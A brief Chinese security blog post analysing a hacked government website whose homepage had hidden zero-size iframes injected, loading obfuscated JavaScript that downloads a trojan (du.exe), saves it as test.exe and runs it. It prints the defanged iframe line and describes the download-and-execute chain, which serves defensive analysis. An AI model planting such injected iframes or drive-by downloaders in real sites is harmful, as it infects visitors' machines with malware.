又一个下载恶意文件的政府网站

最新推荐文章于 2024-09-25 16:07:35 发布

最新推荐文章于 2024-09-25 16:07:35 发布 · 104 阅读

文章标签：

#shell #javascript #ViewUI

本文分析了一个恶意脚本，该脚本通过隐藏的iframe注入并利用Microsoft.XMLHTTP和Scripting.FileSystemObject下载并执行了名为du.exe的文件。此文件被Kaspersky识别为Trojan-Downloader.Win32.Delf.aul。

endurer 原创

2006-08-22 第1版

首页有3处地方被加入：
/--------
＜iframe height=0 width=0 src="hxxp://***object.cnic**b.com/15"＞＜/iframe＞
--------/

hxxp://***object.cnic**b.com/15 的内容为插入许多空格的JavaScript脚本，利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 hxxp://***object.cnic**b.com/15/du.exe，保存为 IE临时文件夹中的 test.exe，并利用Shell.Application 对象的 ShellExecute 方法来运行。

du.exe 采用 nSPack 1.3 加壳。Kaspersky　报为 Trojan-Downloader.Win32.Delf.aul。